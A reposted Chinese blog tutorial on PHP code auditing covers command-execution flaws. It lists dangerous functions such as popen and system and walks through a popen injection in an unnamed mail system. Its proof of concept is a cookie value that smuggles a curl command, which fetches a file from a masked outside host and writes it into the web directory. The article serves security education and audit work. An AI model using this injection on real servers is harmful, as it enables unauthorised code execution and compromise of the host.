代码审计的艺术系列-第十四篇

2019-04-04 约 709 字 预计阅读 2 分钟

声明:本文 【代码审计的艺术系列-第十四篇】 由作者 小冰 于 2016-11-02 01:16:00 首发 先知社区 曾经 浏览数 2665 次

感谢 小冰 的辛苦付出!

作者:HackBraid

0x01 背景

代码和命令执行也是获取服务器权限的最直接有效的方法,这篇讲的就是代码审计中命令执行的安全问题。

0x02 危险函数

危险函数主要有下面几个:

system()、exec()、passthru()、pcntl_exec()、popen()、proc_open()、反引号等

0x03 popen案例

漏洞详情

某知名邮件系统就被审计出几处命令执行漏洞,其中popen函数引发的漏洞位于文件/user/autoComplete.php

直接从cookie中获取USER里的uid和domain并赋给了readAddress函数,然后我们跟进readAddress($uid, $domain);

uid和domain又进入了函数getUserDir($uid,$domain),我们继续跟进getUserDir

我们注意到下面的代码
$handle = popen(“/var/*/sbin/hashid $uid $domain”, ‘r’);这里的/var/*/sbin/hashid是该邮件系统执行命令的,所以这里uid和domain均未进行过滤就直接执行了命令,导致任意命令执行漏洞。
漏洞证明
访问http://localhost/user/autoComplete.php时设置cookie为:
UID=1|curl http://**.**.**.**/test.txt>>testinfo.php

此时会在程序的user目录下生成testinfo.php,我们再次访问http://localhost/user/testinfo.php即可证明popen执行curl命令写入成功:

关键词:[‘新手’, ‘入门资料’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now